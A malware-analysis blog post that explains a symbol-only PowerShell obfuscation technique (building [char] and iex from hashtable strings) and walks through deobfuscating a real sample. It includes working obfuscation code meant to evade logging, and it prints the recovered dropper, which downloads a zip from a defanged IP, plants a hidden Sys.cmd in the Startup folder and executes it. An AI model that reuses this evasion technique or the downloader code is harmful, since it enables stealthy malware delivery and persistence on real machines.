Powershell Obfuscation: Symbols
Background
In this post, I will be going over some obfuscation techniques I saw recently for Powershell. About a week ago I saw a tweet where the user was asking for help with this weird Powershell file he saw.
After looking around I found a blog post from 2010 that looks extremely similar in structure to the code in the tweet.
Concept
Powershell is a very common vector for the first stage of a malware life cycle. Unlike Office Macros, it’s usually not blocked as Windows administrators commonly use it.
However, since it’s such a common vector administrators will often set up logging for it and will check for suspicious calls like iex
which will execute a string as Powershell code.
However, by obfuscating your payloads you can, in theory, bypass basic logging that only checks top-level PowerShell files.
Obscuring variable names
There are reserved characters that cannot be a variable name by default. For example whitespace. The following line is not a valid line of Powershell.
$ = "test";
However, this can be bypassed if you include curly brackets around the “invalid” characters. For example, the following line is completely valid.
${ } = "test";
Each different variation of whitespace characters will correspond to a different variable. For example, all the defined variables in the next example are considered different and unique variables.
${ } = "test";
${ } = 12;
${ } = 2.0;
Generating characters
The end goal for many Powershell scripts is to call iex
on a string that contains a malicious payload. To go even further you could call iex
on a string that is created at runtime from decimal values.
To achieve this you’d need to use the [char]
operator. This operator casts a decimal value into a character. For example [char]117
would become "u"
. By abusing the [char]
operator a huge string of decimals could be converted into characters which could then be executed by iex
.
However, for that to work we’d need the following characters: ‘c’, ‘h’, ‘a’, ‘r’, ‘i’, ‘e’, ‘x’.
Building “char”
In Powershell @{}
defines an empty hash map. If you store it as a partial expression and then cast it to a string you’d get System.Collections.Hashtable
. This string contains ‘c’, ‘h’, and ‘a’. To retrieve the different characters we will need the numbers 0 - 9.
In Powershell an empty partial expression is treated as null, however, if you add something to it, it will convert to an int.
$a = +${}
After the previous line executes $a
would contain zero. The following code can then be executed to acquire numbers 0 - 9.
$a = +$(); # 0
$b = $a; # 0
$c = ++$a; # 1
$d = ++$a; # 2
$e = ++$a; # 3
$f = ++$a; # 4
$g = ++$a; # 5
$h = ++$a; # 6
$j = ++$a; # 7
$k = ++$a; # 8
$l = ++$a; # 9
Once the numbers are generated we can start creating some strings. However, at this point [char]
cannot be created as we are still missing "r"
. Fortunately, we can abuse another one of Powershell’s systems to get that.
$?
returns True
or False
depending on if the prior line was executed successfully. By casting $?
into a string we can get the "r"
from True
.
"$?"[$c]
The following code fully builds [cHar]
.
Note: Powershell is case insensitive. Therefore, it doesn’t matter that we built [cHar]
not [char]
$x = "[" + "$(@{})"[$j] + "$(@{})"["$c$l"] + "$(@{})"["$d$b"] + "$?"[$c] + "]" # [cHar]
Building iex
For iex
only “x” is missing. “x” is a little more difficult to acquire. If you were to look at the documentation for String.Insert
you’d see that in its function signature it contains “startIndex”.
If you take a string, call insert
on it, and cast it into a string you’ll get the signature. By pulling the 27th character you can acquire “x.”
$method = "".insert
Write-Host "$method"[27] # Outputs x
Since this obfuscation technique only uses symbols we can generate “insert” at runtime by indexing the characters of the Hashtable variable.
$y = "".("$(@{})"["$c$f"] #i
+ "$(@{})"["$c$h"] #n
+ "$(@{})"[$b] #s
+ "$(@{})"[$f] #e
+ "$?"[$c] #r
+ "$(@{})"[$e]) #t
#string Insert(int startIndex, string value)
$z= "$(@{})"["$c$f"] + "$(@{})"[$f] +"$y"["$d$j"] } # iex
Generating the payload
By taking the [char]
variable you can build a huge string of decimal values that, if treated as characters, would be legal Powershell code.
For example, if you were to convert Write-Host hello!
to decimal values you’d get 87 114 105 116 101 45 72 111 115 116 32 104 101 108 108 111 33
. By prefixing each value with [char]
you can then convert the string back into Write-Host hello!
. If you also pipe (|
) it into iex Powershell would then also execute the string as code.
[char]87 + [char]114 + [char]105 + [char]116 + [char]101 + [char]45 `
+ [char]72 + [char]111 + [char]115 + [char]116 + [char]32 `
+ [char]104 + [char]101 +[char]108 + [char]108 + [char]111 `
+ [char]33 | iex
Since earlier we already created 0 - 9 we can obfuscate the prior Powershell code by removing the numbers and replacing them with variables, that at runtime would evaluate to numbers and [char]
.
"$x$k$j + $x$c$c$f + $x$c$b$g + $x$c$c$h + $x$c$b$c + $x$f$g + $x$j$d +
$x$c$c$c + $x$c$c$g + $x$c$c$h + $x$e$d + $x$c$b$f + $x$c$b$c +$x$c$b$k +
$x$c$b$k + $x$c$c$c + $x$e$e" | iex | iex
Note: there are two iex
’s as the first one converts the string "[char]87 ..."
to [char]87
which is "h"
and then the second iex
executes the string as code.
Manual Deobfuscation
sed 's/}[ ]*{/}\n{/g'
sed 's/;/;\n/g'
sed 's/[ ]*++[ ]*/ ++/g'
sed 's/{[ ]*$/{$/g'
- Replace all ${ } variables with actual names
- Look for instances of
$()
,@{}
and$?
- Find the variable that will become [char] and replace all instances of it with
[char]
. - Find huge string containing multiple instances of
[char]
- Convert decimal characters to ascii.
After running all the sed
commands and cleaning up the variable names, before step 7, I have this.
Note: The [char]
elements have been shortened for brevity.
('-----' |%{$a=+$()} # 0
{$b = $a} # 0
{$c = ++$a} # 1
{$d = ++$a} # 2
{$e = ++$a} # 3
{$f = ++$a} # 4
{$g = ++$a} # 5
{$h = ++$a} # 6
{$j = ++$a} # 7
{$k = ++$a} # 8
{$l = ++$a} # 9
# [cHar]
{$m= "["
+ "$(@{})"[$j] # c
+ "$(@{})"["$c$l"] # H
+ "$(@{})"["$d$b"] # a
+ "$?"[$c] # r
+ "]" }
#string Insert(int startIndex, string value)
{$a ="".("
$(@{})"[ "$c$f"] # i
+ "$(@{})"["$c$h"] # n
+ "$(@{})"[$b] # s
+ "$(@{})"[$f] # e
+ "$?"[$c] # r
+ "$(@{})"[$e])} # t
# iex
{$a= "$(@{})"["$c$f"] + "$(@{})"[$f] +"$a"["$d$j"] }
);
"$m$c$e + $m$c$b + $m$e$h + $m$j$j + $m$c$c$d + $m$c$c$g + $m$e$d + $m$h$c |$a"|&$a
After putting in [char]
and recreating all the original decimal values the huge string will start like this.
[char]23
+ [char]21
+ [char]36
+ [char]77
+ [char]220
+ [char]225
+ [char]30
+ [char]62
+ [char]30
+ [char]34
+ [char]67
+ [char]58
+ [char]90
...
If you dump the long string into Powershell you’ll get
After cleaning that all up you’ll get the following Powershell code.
Note: URL is defanged for safety purposes.
$Mps = "C:\User"
New-Item -ItemType Directory -Force -Path $Mps | Out-Null
$cmdxx = "C:\User\Sys.cmd"
$url2 = 'hXXp://35[.]163[.]204[.]167/esfsdghfrzeqsdffgfrtsfd[.]zip'
$dir3 = $Mps + '\xxrrffftttbbb.zip'
$client = new-object System.Net.WebClient
$client.DownloadFile($url2,$dir3);
(new-object -com shell.application).namespace($Mps)
.CopyHere((new-object -com shell.application).namespace($dir3).Items(),4 + 16) | Out-Null
$xvwe = 'Sys.cmd'
$zz=Get-Item $cmdxx
$zz.Attributes+="Hidden,System"
$startup = [System.Environment]::GetFolderPath("Startup") + "\" + $xvwe
Copy-Item $cmdxx $startup | Out-Null
[System.Threading.Thread]::Sleep(3000)
& $cmdxx
remove-item $dir3 | Out-Null
To summarize it the script pulls a file from a malicious domain and saves it to C:\Users
. Following this, it unzips the archive, sets Sys.cmd
as a hidden and a system file, copies it to C:\Users\[username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
, waits 3 seconds, and then executes the file. After executing the file the original archive is deleted.
Conclusion
Warning: repo contains malware! Use at your own risk.
Full files can be found at my malware-research repo.
References
- Original Tweet: https://twitter.com/LawrenceAbrams/status/1514634960833073158?s=20&t=vIa0fSK3stteiaPvVlZ0VQ
- Repository full of fun Powershell obfuscation techniques: https://github.com/danielbohannon/Invoke-Obfuscation
- Blog post explaining similar Powershell script: https://pcsxcetrasupport3.wordpress.com/2018/10/28/understanding-invoke-x-special-character-encoding/
- Original post explaining this technique: https://perl-users.jp/articles/advent-calendar/2010/sym/11